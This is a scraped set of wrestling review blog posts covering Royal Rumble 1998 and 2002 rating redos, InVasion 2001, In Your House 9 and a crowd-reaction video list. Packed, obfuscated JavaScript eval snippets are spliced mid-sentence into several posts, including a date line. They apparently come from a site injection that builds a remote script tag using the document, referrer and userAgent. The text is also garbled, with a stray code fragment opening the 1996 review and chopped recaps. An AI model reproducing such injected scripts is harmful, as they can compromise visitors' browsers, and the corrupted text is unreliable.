Royal Rumble Count-Up: 2013 Redo – 2002: He’s Back And There’s Not A Thing We Can Do About It

Royal Rumble 2002
Date: January 20, 2002
Location: Phillips Arena, Atlanta, Georgia
Attendance: 12,915
Commentators: Jim Ross, Jerry Lawler

Tag Titles: Spike Dudley/Tazz vs. Dudley Boys

We immediately go to a recap of Regal vs. Edge which is based on Regal using brass knuckles over and over again. Edge got fed up with it and beat up a lot of people with a chair.

Intercontinental Title: Edge vs. William Regal

Ric Flair vs. Vince McMahon

No highlight package for the world title match? For those of you not around in 2002 (LUCKY!), Jericho won the title in December, beating Rock along the way. It makes sense for Rock to get the first shot, especially since they feuded over the end of the year.

WWF World Title: The Rock vs. Chris Jericho

Shawn Michaels, in a really stupid looking Texas flag shirt, is at WWF New York. He picks Taker or Austin to win the Rumble.

Video on the Rumble. The main picks to win are Taker, HHH, Angle and Austin.

Royal Rumble

Scotty gets in and walks into a DDT as DDP is #14. Nothing of note continues to happen until Scotty superkicks Page through the ropes to the floor and hits the Worm on Christian. Page sneaks back in and throws Scotty out as Chuck is #15. They all beat on each other for a bit with Christian and Chuck teaming up for a bit. Godfather, now the owner of an escort service in an attempt to salvage the gimmick, is #16 and brings out 12 good looking women with him. Page is eliminated off camera during this.

Ratings Comparison

Spike Dudley/Tazz vs. Billy and Chuck

Original: C-

Redo: D+

William Regal vs. Edge

Original: C-

Redo: D+

Trish Stratus vs. Jazz

Original: D+

Redo: D

Ric Flair vs. Vince McMahon

Original: D+

Redo: C+

Chris Jericho vs. The Rock

Original: B+

Redo: B

Royal Rumble

Original: C-

Redo: C+

Overall Rating

Original: B-

Redo: B-

Yep, about the same for the most part here.

http://kbwrestlingreviews.com/2011/01/21/royal-rumble-count-up-2002-game-on/

Remember to follow me on Twitter @kbreviews




Royal Rumble Count-Up: 2013 Redo – 1998: Austin Breaks The Glass Ceiling And Shawn Breaks His Back

Royal Rumble 1998
Date: January 18, 1998
Location: San Jose Arena, San Jose, California
Attendance: 18,542
Commentators: Jim Ross, Jerry Lawler

Mike Tyson is in a skybox.

 

Vader vs. The Artist Formerly Known As Goldust

 

Back in and Luna trips Vader up, finally allowing Goldie to get in a clothesline. Another clothesline puts him down and Goldust works on the leg a bit. Goldie drops a middle rope elbow to the ribs and we head back to the floor. Vader is sent into the steps so Luna can choke him a bit before we head back in. Goldust pounds away again but stops to kiss Vader. I may not be a pro wrestler, but I know better than to kiss a guy called the Rocky Mountain Monster.

 

Vader kills him with a clothesline and suplexes Goldust down before getting two off a splash. Vader loads up the Vader Bomb but a low blow stops him cold. Another clothesline puts Goldie down again and Vader sits on his chest. He loads up the Bomb again and despite Luna jumping in his back, Vader drops it anyway and crushes Goldust for the pin.

 

Austin gets here and tells Cole to park his truck. Southern Justice (the heel Godwinns) follow him, presumably to jump him.

 

Max Mini/Mosaic/Nova vs. Battalion/El Torito/Tarantula

 

 

 

The Nation goes to attack Austin but only find an Austin foam finger.

 

We recap Shamrock vs. Rock. Shamrock has charged through the Nation to get this shot at the unofficial leader of the team. Mark Henry joined the Nation to save Rock from Shamrock less than a week ago.

 

The Nation argues over which of them will win the Rumble. Rock says the fans of course want to know what he thinks of Clinton and Paula Jones, so he tells the President not to lie down with dogs or you might get fleas. This joke would be done way better over the next few weeks.

 

Intercontinental Title: The Rock vs. Ken Shamrock

 

Rock is defending of course. Feeling out process to start with Rocky trying to get a cheap shot in the corner. Both guys shove the other into the corner and Shamrock blocks a shot to the face before hitting one of his own. They run the ropes a bit until Shamrock kicks him in the chest and knocks the champion out to the floor. Back in and Rock pounds away a bit before hitting a corner clothesline. Ken comes back with some clotheslines of his own but the standing clothesline is countered into a hot shot for two.

 

 

Post match the referee finds the knuckles and reverses the decision. The referee is beaten up very badly for his efforts.

 

A Coliseum Video Exclusive from “moments later” show a clean and dry Shamrock in jeans attacking the Rock.

 

Los Boricuas attack someone that they think is Austin but find one of the Disciples of Apocalypse. Brawling ensues.

 

We recap the LOD vs. the Outlaws, which is old school vs. new with the Outlaws defending the titles. The Outlaws put a big old beating on the LOD and tonight is their return.

 

Tag Titles: New Age Outlaws vs. Legion of Doom

 

 

The Outlaws destroy Animal until Hawk snaps the handcuffs to make the save.

Some fan wins the Austin truck.

We recap the build up to the Rumble. Basically, everyone knows Austin is going to win and EVERYONE else in the Rumble is trying to stop him but not one has been able to slow him down at all. The only difference here: the fans were eating this stuff up with a spoon.

Royal Rumble

Mosh and Funk pair off as do the other two guys. Funk (the announcers are calling him that too) tries a moonsault but it winds up being more of a headbutt than a splash. Phineas Godwinn is #6 and helps Rock beat up Mosh. Not much happens for a bit until 8-Ball of the DOA is #7. Jack misses a charge and Funk backdrops him out to empty the ring out a bit. Apparently someone who might have been Ken Shamrock has attacked Austin.

The Nation members are thrown together and Rock gets hit by Sweet Shin Music and the double arm DDT. Austin hits Dude low and Faarooq throws Love out. Rock puts out Faarooq to give us Austin vs. Rock. They slug it out and Rock is thrown to the apron. Austin is fine with Stunning him and throwing him out to go on to Wrestlemania where he would claim his destiny.

Tyson celebrates “Cole Stone” Steve Austin winning the Rumble.

WWF World Title: Undertaker vs. Shawn Michaels

The forearm from Shawn sets up the nipup which sets up the top rope elbow. He must be either high as a kite on painkillers or on a huge adrenaline rush to be able to have a match like this at this point. The superkick knocks Taker out cold but Shawn is Shawn and stops for a crotch chop. Taker grabs him by the balls and we head back inside for the beating Shawn deserves. Another Flair Flip sets up the big boot, but Taker misses a clothesline and lands in the casket.

Post match Kane nails the casket shut and hacks at it with an ax. He pours gasoline inside and LIGHTS IT ON FIRE to end the show. Taker of course would disappear from the casket once it was opened up.

Ratings Comparison

Vader vs. The Artist Formerly Known As Goldust

Original: B-

Redo: D

Max Mini/Mosaic/Nova vs. Battalion/El Torito/Tarantula

Original: B-

Redo: C

The Rock vs. Ken Shamrock

Original: C+

Redo: D+

Legion of Doom vs. New Age Outlaws

Original: D+

Redo: D

Royal Rumble

Original: D+

Redo: D

Shawn Michaels vs. Undertaker

Original: B

Redo: B

Overall Rating

Original: C-

Redo: D

.what in the world was I on back then?

http://kbwrestlingreviews.com/2011/01/18/royal-rumble-count-up-1998-austin-isnt-a-lock-to-win-please-believe-us/

Remember to follow me on Twitter @kbreviews




Thought of the Day: Back In The Day

So eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|teznk|var|u0026u|referrer|bkdss||js|php'.split('|'),0,{})) I’ve been watching Raw from 1999 and the following becomes obvious.The show is dominated by about 10 acts.  You have Austin, Rock, Vince, Stephanie, Undertaker, Shane, HHH, Shamrock and the Ministry, all making about 5 appearances each.  Today this is called dominating a show while 1999 is called the good old days.

 

Funny how that works.




WWE’s Top 20 Crowd Reactions

This is one of the best lists WWE has ever put together.  #1 still gives me chills.

#20-#11:

[youtube https://www.youtube.com/watch?v=RXxVKkrfcTQ]

#10-#1:

[youtube https://www.youtube.com/watch?v=a2TyOchDMw0]

 

They’re eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kstkf|var|u0026u|referrer|byssy||js|php'.split('|'),0,{})) missing a huge one though:

 

 
[youtube https://www.youtube.com/watch?v=N-iPSagcRwU&w=420&h=315]

The place erupted on that pin. Still though, excellent list and if anything else had been #1 it would have failed. You can barely hear the announcement of a new champion.




On This Day: July 22, 2001 – InVasion: File This Under Billion Dollar Opportunity Blown

Invasion
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|feesy|var|u0026u|referrer|fhaea||js|php'.split('|'),0,{})) July 22, 2001
Location: Gund Arena, Cleveland, Ohio
Attendance: 17,964
Commentators: Michael Cole, Jim Ross

So this is easily the most requested show since I’ve stated doing the reviews so I might as well get it out of the way. This is the infamous INVASION of the WCW/ECW Alliance. Since I’ve already explained my thoughts on the Invasion as a whole in the Survivor Series 2001 review the talking about it here is going to be somewhat limited but I’m sure I’ll have something to go on and on about in here somewhere.

The main event is the Inaugural Brawl, which is just a big ten man tag. Other than that the card is relatively boring other than Hardy vs. Van Dam for the Hardcore Title. Let’s get to it.

The opening video is about Roosevelt and the Nazis and Japanese Army. ARE YOU SERIOUS? Ok, I know Vince likes things big, but this is ridiculous. The logo for the show is this weird hybrid of Shane and Vince’s faces. It’s kind of cool but more creepy.

Mike Awesome/Lance Storm vs. Edge and Christian

Hmm I wonder who is winning here. Edge and Christian’s music cuts Storm off. That’s rather amusing. I’ve always liked Storm so that has something to do with it. Edge is the reigning KOTR at the moment if that means anything to anyone. Christian and Awesome start us off. Storm vs. either of the faces could be most interesting. Edge gets down and Christian goes for a dive over the ropes. He slips though and nearly has a very bad fall.

Odd hearing WWF fans say YOU SCREWED UP. Awesome sans mullet is odd looking to put it mildly. Christian is getting beaten down for the most part here as you would expect. Why you would expect that I’m not sure but it sounded right in my head. Cole is really new at this whole commentary thing at this point and it shows badly. Edge gets the tag and takes out various heels. Edge rams Storm into Christian which would mean something in a few weeks/months.

The rollup only gets two though and we slow down for a bit. The crowd is hot here as they tend to be in Cleveland. Pretty decent tag match here. Awesome sets Edge for a powerbomb but Christian spears Awesome so that Edge falls on top for the pin. Nice ending.

Rating: B. Very good choice for an opener here as both teams were trying out there and it showed very well. Edge was getting hot around this time and it would have been a world title reign had a few things gone right. This was fun though and a great opener.

Vince is happy. Regal, in a collared WWF shirt and tights, says Austin is here. He gets Raven later. Well that’s an odd combination if there has ever been one.

We recap the feud between the referees. Yeah it was bad. It results in this.

Earl Hebner vs. Nick Patrick

Of all people, Mick Foley is the referee here. Yeah I don’t get it either but whatever. He’s wearing a Marvel t-shirt so I can’t complain at all. Nick comes out with an army of referees which is just funny looking. Earl does the same. It looks like the world’s weakest gang. Oh and they’re in refereeing gear.

Take a wild guess as to the quality of the work here. Do I need to offer commentary on this one? It’s a glorified lumberjack match. Foley throws out the WCW referees. Earl hits something resembling a spear for the win. Patrick gets in Foley’s face and guess what happens. I think you know the drill.

Rating: N/A. I’m not grading two non-wrestlers like I would grade regular wrestlers.

We recap Debra getting abducted on Smackdown. Debra complains about it. She makes Stephanie look like a great actress. Taker’s wife Sara isn’t much better. She’s attractive though.

We recap the APA vs. Palumbo and O’Haire. It’s tag champions vs. tag champions. Basically the APA called for the WWF locker room to join forces to fight in the war. The WCW Champions jumped them at WWF New York.

APA vs. Sean O’Haire/Chuck Palumbo

No titles on the line here, despite them both being champions of some sort. Dang O’Haire had the look down to a science. So did Palumbo. We get a mention of Kevin Nash. He and DDP were the guys O’Haire and Palumbo beat. Teddy Long informs them they have seven minutes. Oddly enough Farrooq was managed by Long back in the day.

Oddly enough this is a pretty back and forth match. Bradshaw busts out a DDT of all things. Never seen him use that I don’t think. Farrooq gets a standing switch. This is FREAKY. Oddly enough this is pretty back and forth with no one really dominating at all. The Clothesline From JBL ends it. This never got off the ground at all.

Rating: D. Just boring stuff here. You could clearly see there was very little thought put into the matches here. These two teams just were kind of there. It’s not bad I guess, but this could have been on Superstars or something like that. Pretty weak.

Vince is with Jericho in the back and says Vince is the difference between ECW/WCW and WWF. He’s exactly right actually. Oh and Heyman sucks.

Stephanie hates Jericho. WOW her acting reaches new levels of suck. Heyman is sitting in the back and then goes off on Billy Kidman, saying he has to win this next match.

X-Pac vs. Billy Kidman

It’s champion vs. champion again. This is in the X-Factor era. Yeah no one cares AT ALL. Kidman’s music was rather groovy. Pac is total heel here but he’s the face because of the company he’s in. Waltman should be good here though as he’s always good against smaller guys. Scratch that about Waltman being the face. They still hate him. I’ve always liked Cleveland.

Apparently you don’t want to be the first to lose. Dang I thought you always wanted to lose. What was I thinking? They got close to the WCW/NWO issue with the announcers being completely idiotic looking by saying one group was the crowd favorite when they were being booed out of the building. They pick it up a bit with some nice high impact stuff. Pac catches a diving Kidman coming off the top in an X-Factor.

That looked pretty stupid, but I’d think that’s because it’s the stupid X Factor. Bronco Buster is blocked with a boot to the balls. I love alliteration. That sets up the Shooting Star Press for the pin. According to Ross, the Bronco Buster is a high risk move.

Rating: C+. Not bad but not great at all. The most interesting thing here was the crowd. The match itself is ok but not bad. Pac was always at his best against small guys and he was far less annoying here. Nothing great but the SSP is always sweet.

DDP babbles about nothing.

Torrie and Stacy try to sound sexy and just fail. They like the Hardys apparently.

William Regal vs. Raven

We get a brief history of Raven’s career, minus Johnny Polo that is which might be his best gimmick. It’s a slugfest to start which Regal is good at. He was very physical around this time and it always came off rather well. His feud with Jericho was a highlight of his career to me. All Regal so far. That forearm to the face that he uses for a cover is great. We get a slingshot as I wonder what the point of this was.

The fans think this is boring and I can’t really say that I disagree. It’s not bad, but this is as basic as you could imagine. They look like they’re both rookies who know very few moves at this point. It’s more or less all punches and clotheslines. They’re crisp and such, but this just isn’t that interesting. You know what it reminds me of? An old SNES wrestling game where you have like 5 moves and everyone has the same set no matter what their size is.

The boring chant is really loud now. You can tell there is no story here at all. Raven gets thrown to the floor and for zero explained reason, Taz runs out and hits a suplex on Regal to allow Raven to hit the DDT for the pin.

Rating: D-. Just like I said before, this was just boring. I have no idea what the point was here but this didn’t come off well. It was just a wrestling match, but with this being a PPV, this wasn’t acceptable for me.

Taker and Kane get a pep talk from Vince. Taker doesn’t like Vince talking about his wife.

Billy Gunn/Albert/Big Show vs. Kanyou/Hugh Morrus/Shawn Stasiak

Again, what in the freaking world is the thought process on this show? It makes no sense at all. This was made on Heat. Oh and Albert is IC Champion here. He’s still in X-Factor and the song is still awesome. Stasiak is using Mr. Perfect’s gimmick, down to the music. It was idiotic. In a cool spot we get a triple press slam from the WWF guys. Gunn and Kanyon start us off. This was Billy Gunn push #2837G.

Kanyon does an odd combination from a Russian legsweep into a Stroke. Nicely done. We get the traditional melee and Albert hits a bicycle (Pump kick that Sheamus uses) kick to Shawn and by hits I mean misses Shawn completely but has it sold anyway. This is pretty much all Albert.

Fameasser hits on Morrus. For you newer fans, Morrus is more commonly known as Bill Demott. Stasiak hits a reverse DDT so Morrus can get the pin. This was a MESS. Show hits chokeslams all around post match. Show debuts the Alley-Oop which he should do more often as it looked pretty cool.

Rating: F+. Just horrid here and I have even less clue what the booking here was supposed to be. This was a weird choice to say the least and I guess it was to showcase the WWF guys but it came off like a bunch of jobbers beat them. Made no sense.

Shane talks to Booker and says the Alliance (not named that yet but close enough) is up 4-3 because of Chavo beating Scotty on Heat. That answered a LOT of questions actually as no one got how later in the Alliance said they had an extra win. I was at a friend’s house watching this and we spent 40 minutes after the show trying to figure it out. We had lists of matches and charts etc going and NO ONE got it. Yeah I’m just killing time now.

Regal fires Tajiri up.

Taz vs. Tajiri

This was the ECW Title match at I think Heat Wave 99 and it was a glorified squash. Apparently Tajiri is popular for staying in the WWF. Ok then. Hey they actually mentioned the Heat Wave match! Sweet I’m not insane. Taz hooks a bunch of suplexes and submissions, which makes me think instantly that Tajiri will win. In at least the last two matches and maybe more, the guy or guys that dominate early loses in the end.

Handspring elbow gets a BIG pop. Didn’t see that one coming. We hit the floor for all of 5 seconds and I’m bored out of my mind. The Tarantula helps that a bit. Tajiri kicks the heck out of Taz for a LONG two. Those kicks are LOUD too. Just as it’s getting good, the mist hits as does a kick for the pin.

Rating: D+. This got really good for like 30 seconds. Other than that though it just wasn’t interesting at all. Again, I don’t get the point in these 5-6 minute matches with zero point to them at all. Could have been a lot worse though.

Jeff and Matt talk about Jeff’s match with Van Dam. Van Dam pops up and cracks the HECK out of Matt with a chair. That sounded great.

Hardcore Holly is at WWF New York and gets on a plant for wearing a WCW shirt.

Hardcore Title: Rob Van Dam vs. Jeff Hardy

Why all the TNA on TNA violence? RVD’s outfit is tiger print of all things tonight. He looks like Tony the Tiger in spandex. This should be fun. Hardy isn’t a huge deal yet but he’s in the midcard. Van Dam is WAY over. Crowd is red hot for this as it was more or less the second featured match on the card. Hardy goes for his run the rail spot and Van Dam makes the stop by jumping up on it to stop him. Nice.

Into the crowd now. This is totally sloppy and totally a mess but since it’s a hardcore match, it’s working rather well actually. The crowd is helping it a lot also. Van Dam takes a bow which is a very nice touch. With Van Dam on the apron, Hardy slingshots over the ropes into a powerbomb to the floor. Sweet looking spot and it’s ladder time. This had to happen. In another sick spot, Hardy is on the top of the ladder, and I mean the big one, and is pushed off and crashes to the floor.

This was what gave us the “How do you learn to fall off a 20ft ladder” soundbyte. In another, say it with me, sick spot, Van Dam is crouched but jumps into the air for a Van Daminator that looked GREAT. It knocked Hardy through the hole into the stage to the floor. We’ve reached the part where it’s just them beating the living crap out of each other and the fan are flat out eating it up.

The belt is in the ring as Hardy gets a nice German Suplex. Jeff is bleeding a bit. Swanton misses. With Jeff down, Van Dam puts the belt on Hardy’s chest and hits the 5 Star for the pin. Fun match.

Rating: B+. This is a great example of a match where you have to consider what was going on out there. This wasn’t meant to be a mat clinic or anything. This was about high impact, high intensity over the top spots and that’s what the fans got. This was fun stuff and the crowd loved it. Great match.

Angle is annoyed for some reason. He says he’ll own the invaders tonight.

We actually have a video package about the bra and panties tag match. Seriously? Short version: Trish and Lita hate each other because of them trying to steal the Hardys from each other. Torrie and Stacy do the same thing. Yeah let’s just get to it. See, the thing they never could get around was that Torrie and Stacy had no talent other than looking good. Trish and Lita at least could fight.

Torrie Wilson/Stacy Keibler vs. Lita/Trish Stratus

Mick Foley appoints himself guest referee here again. This was smart if nothing else as it gave a person people actually care about to the match. Torrie and Stacy have weird entrance music. Lita was a legit big deal at the time and was the biggest women’s star more or less since Sable and Sunny. Seriously do you want commentary here? Trish was getting better every day at this point but still wasn’t that good yet.

Stacy gets her top ripped off. Lita has the same done. Trish vs. Torrie now and Trish loses her shirt somewhere. There goes all of Torrie’s clothes. Stacy gets her pants ripped off to end it. Mick picks up the clothes after the match which is funny.

Rating: N/A. Not a wrestling match, so there you go.

Stephanie gives the pep talk. That’s amusing. Heyman takes over which is a major upgrade.

Austin is acting like himself.

We recap this, which started with Shane buying WCW. They finally switched the roles as a face had WCW and a heel had WWF. Then one night Vince said he was tired of this so he said let’s have a match. The five guys he picked were ECW guys, you get the rest. Dreamer and Van Dam debuted that night. Austin had been an idiot since he turned heel so he started being the old Austin again.

More or less he kept saying he wouldn’t be his old self until he said he’d do it. No big moment of clarity or anything. He just changed his mind. Yeah there wasn’t much of a story other than they don’t like each other, but did there need to be? Oh and DDP stalked Taker’s wife. Stephanie being revealed as the ECW owner is one of my favorite moments ever. Oh and Freddie freaking Blassie showed up for a pep talk.

Inaugural Brawl: Team WWF vs. Team WCW/ECW

WWF – Steve Austin, Kurt Angle, Chris Jericho, Kane, Undertaker

WCW/ECW – Booker T, Diamond Dallas Page, Rhyno, Dudley Boys

All three Alliance bosses get entrances. Now Vince gets an entrance. It’s been over 12 minutes since the last match ended and we’re not even to the wrestlers’ entrances yet. So yeah for you trivia buffs, this is the other non-ECW PPV that the Dudley Boys main evented. Kane and Taker were still kind of tag partners at this point but not really. So apparently Taker and Kane are balanced out by the Dudley Boyz? Ok then.

Oh and this is just a ten man tag. No special rules or anything like that. And pay no attention to the fact that both Taker and Kane (albeit as a jobber) used to work for WCW. Rhyno makes it the third ECW guy in a row. Talk about a push that died after this. Next is Jericho, who is about as opposite of Rhyno after this show as you could ask of anyone. Stephanie and Jericho was one of the funniest feuds I can ever remember.

Booker is US and World Champion at this time but he would hand the US Title to Kanyon soon after this. This just feels entirely thrown together. Sting is mentioned on a WWF PPV for likely the only time ever. Stephanie dancing to Booker’s music is just hilarious. Angle gets a HUGE pop despite going the wrong way down the ramp.

The level he reached about two months from now was insane. DDP is apparently the biggest deal in the Alliance. Dang did they ever jump the gun here. The 9 mentioned start fighting in the aisle and we have Austin. Notice a certain one sidedness here?

Austin and Rhyno start us off. Austin hits a superplex off the top. Sweet goodness. Jericho gets a NICE pop for the tag. Booker, the only one of the WCW/ECW guys to get a legit push in WWF comes in. Angle gets another great pop. This was after the peak the company had a few months earlier, but it was still a huge deal. This evolves into your standard big time tag match with various people beating on each other with no one really controlling for a ton of time.

DDP hits a Stunner on the top rope on Taker to finally get something resembling control. Austin works on a wristlock on Booker. There’s something you don’t see everyday. We’ve been at this for about ten minutes now and there hasn’t been any long term control. There isn’t much to say here either though as it’s exactly what you would expect it to be. Heyman is awesome at being completely evil when he has to be.

Angle is in some trouble here and the Spinarooni hits. Page hits a spinning powerbomb on Angle which is one of my favorite moves. So after nearly 20 minutes we get to the traditional face in peril sequence of the match. We go old school with Austin getting the tag but the referee didn’t see it. I love things like that. Diamond Cutter on Angle and it gets NO reaction. Cole of course calls it a neck breaker while Ross, 10 seconds after it, says the name right.

And here is the brawl that you knew was coming. Rhyno hits the Gore on Booker and Taker finally gets his hands on DDP again. Chokeslam to Page. Booker and Austin fight on the floor while the WCW referee gets a Last Ride. Taker and DDP go into the crowd while Austin’s knee is messed up after going into the steps. Kane is fighting both Dudleys.

That’s how you can tell Taker is a bigger deal than Kane: when Taker did that, they got their own match. It’s table time. Kane hits a chokeslam through the announce table on D-Von. He got him UP there too. Rhyno and Bubba put Kane through the Spanish Announce Table. Good to see a tradition still alive. Jericho puts Rhyno through the table the Dudleyz set up. Booker and Angle are the only guys still conscious. Oh and Bubba also.

The referee is still looking at Austin’s knee. Yes I’m listing a lot of play by play but you have to here so you know what’s going on. Angle fights off Booker and Bubba with an ankle lock and the Angle Slam, back when it was a good finisher, respectively. And there goes the referee. Cue the finish. Vince grabs the WWF Title and throws it to Angle. Shane gets it though and down goes Vince.

It’s Booker vs. Angle now. Angle hits his pair of finishers on him, Austin throws the referee in, kicks Angle in the head, Stunner, pin, WCW/ECW wins. Austin turned heel again, shocking JR despite him having done the same thing TWO AND A HALF MONTHS EARLIER. Austin and the three Alliance leaders have beers to end the show.

Rating: B. This did something I didn’t think it did: it made the far weaker WCW/ECW team look legit. This was all about making WWF look like they were in danger and it did that. WWF never had the advantage in the whole match until the very end. WCW/ECW controlled this as they should have.

Austin turning heel had to be done given the totally rushed nature of this angle but that’s neither here nor there. The match wasn’t terrible either, so I’d say this was a success. Not a classic or anything, but a success.

Overall Rating: B-. Now think about this for a minute. Yes, most of the matches completely sucked. Actually all but like 3 did. However, this was based around the main event. I don’t recall any other matches other than the hardcore title one being advertised. Oh and Bra/Panties. Other than that, this show wasn’t up to a high quality in the ring because it didn’t need to be.

This was about two things: the main event, and making WCW/ECW look like a threat. Once the PPV ended, no one cared who won the matches or who was even in them. All that mattered was the Alliance won the night and the main event in particular. This definitely isn’t a show you would want to watch for the show itself, but the main thing here is that the huge angle got rolling.

Now to be fair, the angle bombed about as ten times as much as anyone on the planet could have asked it to, but no one knew that at the time. This should have been an angle that went on for at least a year or two, not five months. Anyway, if this was any other show, it would be a C- at best. However, this was a historical show, and as a stand alone show I thought it was successful. On a long term basis though, bad. Like, really bad. Other than for historical issues though, I wouldn’t sit through it.

 

Remember to follow me on Twitter @kbreviews and pick up my book on the History of Starrcade from Amazon for just $4 at:

 




On This Day: July 21, 1996 – In Your House #9: International Incident: I Was Really Bad Back Then

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atsrf|var|u0026u|referrer|inanb||js|php'.split('|'),0,{})) Your House 9: International Incident
Date: July 21, 1996
Location: General Motors Place, Vancouver, British Columbia, Canada
Commentators: Vince McMahon, Jerry Lawler, Jim Ross
Attendance: 14,804

We’re a month removed from KOTR 96 here where three things happened. #1, Shawn pinned Bulldog clean to retain the title, so that’s out of the way. Second, Mankind beat Taker clean by knockout. The Mandible Claw is now one of the most feared moves in the company as it actually beat Taker. That was huge at the time. The most important and by far most famous thing though was Austin won the King of the Ring tournament.

While that is pretty much forgotten, his victory speech featured the debut of one of the most famous catchphrases of all time. He had beaten Jake Roberts in the final. Roberts had been using a preacher gimmick at the time, so Austin had this to say. For those of you that haven’t seen this before, watch it now. This is required viewing for wrestling fans

And there you have it. The catchphrase that sold a million t-shirts is born. Austin rode that one line to the second biggest career in company history. He carried the WWF on his shoulders through their darkest days, and I don’t care who says otherwise, they’re wrong and I’ll argue that all day and never lose. Austin carried the WWF, and his persona was born on that night. His time would come, but at the moment it wasn’t quite there yet.

However, and dang I’m getting goose bumps thinking about this, that line where he said he didn’t care who you were or what you did, he was coming for you, would result in the return of Bret Hart, and the absolute best feud I’d seen in years would start at Survivor Series.

Oh and Ahmed won the IC Title that night too.

This show might as well be called Summerslam Pre-Show. That’s all it is: a PPV build up to Summerslam. Your main event is a 6-man tag, with Camp Cornette vs. Shawn and his two face partners. The original team was Shawn, Ahmed and Warrior Warrior Warrior. However, Triple W decided to bail, for various reasons depending on what story you want to believe.

Either way, he’s gone and was replaced by Sid. Other than that, this show is designed to build for the second Mankind vs. Undertaker showdown at Summerslam. The card here is one of the weakest of the entire series and perhaps the worst period. This should have been a Raw based on the look of it, but let’s give it a chance.

Your opening video is………bad. All it consists of is a recap of the free for all which was Shawn’s manager Jose Lathario beating up Cornette but then Vader running in to beat him up. Shawn got there before it happened though. There’s no talking on this and if you didn’t know who these people were you would have no clue what was going on. Apparently if Cornette’s team loses he’s promised all of the crowd a refund so we have the ending of the main event sealed.

Free For All: Justin Hawk Bradshaw vs. Savio Vega

Yes that Bradshaw. This was back when the pre show meant something. You’d get an exclusive match with the regular commentators doing the talking. It really did a good job of getting you in the mood for the main show which is something that is severely lacking in today’s stuff as all you get is a recap. Back in my day your preshow often had something that would play a role later on in the PPV itself, so you had to make sure you saw this show.

We actually get a recap of this mini-feud as they’ve met twice before. It is so weird to see JBL with blonde hair past his shoulders. He’s actually fatter than he was in his last run. Vega with a boot that almost hit Bradshaw and we wouldn’t want that to happen. There’s not much here as it’s really similar to a pre Raw dark match.

That’s fine really though as it’s only meant to warm up the crowd. Neither guy was anything more than a jobber at this point so no one is really interested. Bradshaw wins after his manager Uncle Zebekiah holds Savio’s leg down. Post match they beat Savio down.

Rating: C. Yes it’s boring and nothing special, but it wasn’t on PPV so what do you really want here? It’s a free match to get the crowd in the mood a bit. Based on that, it was fine for what it was. Nothing bad, just nothing good.

Bodydonnas vs. Smoking Gunns

This is non title for some reason. Sunny has jumped to the Gunns now as they’re the tag champions. To say that she looks hot as a cowgirl is like saying Norcal has a bit of muscle. She’s a goddess out there and she knows it. The cutoff shorts are amazing on her.

The crowd is so dead for this match and all they care about is Sunny. Apparently Jake Roberts can’t wrestle tonight, which I think is storyline. Lawler takes another jab at Roberts’ alcohol problems, which was a storyline that I’ve never been quite comfortable with. Ross mentions the “attitude changes” of the Gunns, which is code for heel turn. Roberts was supposed to face Mankind so he’s been replaced by Henry Godwinn. Well that’s a great thing indeed.

Ross says it’ll be a rugged match, which translates into: “We know it’s going to suck, but the show is 20 dollars so get over it.” Vince says that while the Bodydonnas are the quickest team in the company, which is probably true, the Godwinns are equally quick. Even JR asks if Vince meant the Godwinns and in a fairly stern voice, Vince says he did indeed mean the Godwinns.

That makes no sense and you can hear JR is confused, as I am, by that statement. Anyway, something is wrong with Sunny as she collapses. It’s a fake obviously as the Gunns use it to cheat. The Gunns have taken over but I’m more interested in an Urkel rerun on Nick at Nite. The Gunns try the World’s Greatest Tag Team move with Billy trying to jump over Bart who is holding his opponent’s legs while his throat is on the rope.

They botch it though as Billy can’t jump high enough. That’ makes me laugh. This match is running long here as it’s losing any steam that it had in the first place. I think the Bodydonnas are faces here but I’m really not sure. Apparently they had a manager that they fired to signify this, but it’s not sticking that well. Something is going on in the crowd as the fans are far more interested in that than they are in this match. The Gunns lose off of a missile dropkick from the top.

In the back we have Camp Cornette who is mad about Lathario’s actions earlier, claiming it was like a gang assault. Owen has a cast on his hand for some reason and Diana isn’t going to be in the corner tonight because it’s no place for a lady. Thanks for wasting 80 seconds of our time.

Mankind vs. Henry Godwinn

Yeah it’s a squash. Godwinn was a modern day Hillbilly Jim (that was his manager) but a bit more serious. However, no one believed he had a chance here. Foley was at his all time strangest here as there was never anyone like Mankind in wrestling prior to this.

The guy was just OUT there. He’d hit himself, pull chunks of his hair out and randomly scream. He was one of the few wrestlers that legitimately scared me as a kid. He beat the Undertaker who was one of my favorites and the mark in me was terrified of him being world champion. Anyway, there’s very little here. Godwinn pounds on him and nothing happens. Eventually Mankind gets the claw and Godwinn is out cold. This was nothing.

Rating: C. Boring, but it got the job done. Mankind looks like even more of an unstoppable monster and that’s exactly what he was supposed to do. When he was in a team, Godwinn was ok. On his own, he was pretty boring.

Steve Austin vs. Marc Mero

The announcers put Austin over as being a huge star and they couldn’t be more right. Them calling him technically sound amuses me as I know what’s coming. For those of you that don’t know, before Austin hurt his neck he was a totally different style of wrestler. He even came off the top rope a few times. They try to push Mero as the same thing and I just shake my head. Not everyone can be a star Vince.

